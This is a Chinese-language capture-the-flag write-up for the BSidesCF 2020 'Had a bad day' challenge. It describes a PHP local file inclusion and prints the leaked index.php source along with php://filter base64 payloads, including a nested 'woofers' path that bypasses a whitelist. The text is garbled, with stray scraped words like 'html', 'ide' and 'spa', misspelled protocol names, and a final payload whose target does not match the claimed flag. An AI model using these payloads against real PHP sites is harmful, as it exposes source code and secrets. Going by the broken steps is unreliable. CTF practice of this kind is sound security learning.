[BSidesCF 2020]Had a bad day
1.測試
一些貓狗的圖片加上url有傳參,測試到文件包含時報錯了。php
Ⅰ.使用php僞協議:
php僞協議html
php://fliter/read=convert.base64-encode/resource=index |
base64解碼後拿下了index.php的源碼.ide
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
2.分析
1.咱們的傳參flie的值若是是woofers或者是meowers和index就會包含flie.index文件
2.先直接包含flag時
頁面沒反應可是在elemenrs裏發現了線索。
測試
**雖然看不到flag但確實有些東西被包含進去了
3.後來看文章才知道php://filter僞協議能夠套一層協議(新知識)。
url
4.構造payload
這樣只須要嵌套一個符合的flie:
php://filter/read=convert.base64-encode/woofers/resource=index
拿到一串base64
5.解密後是flag**
spa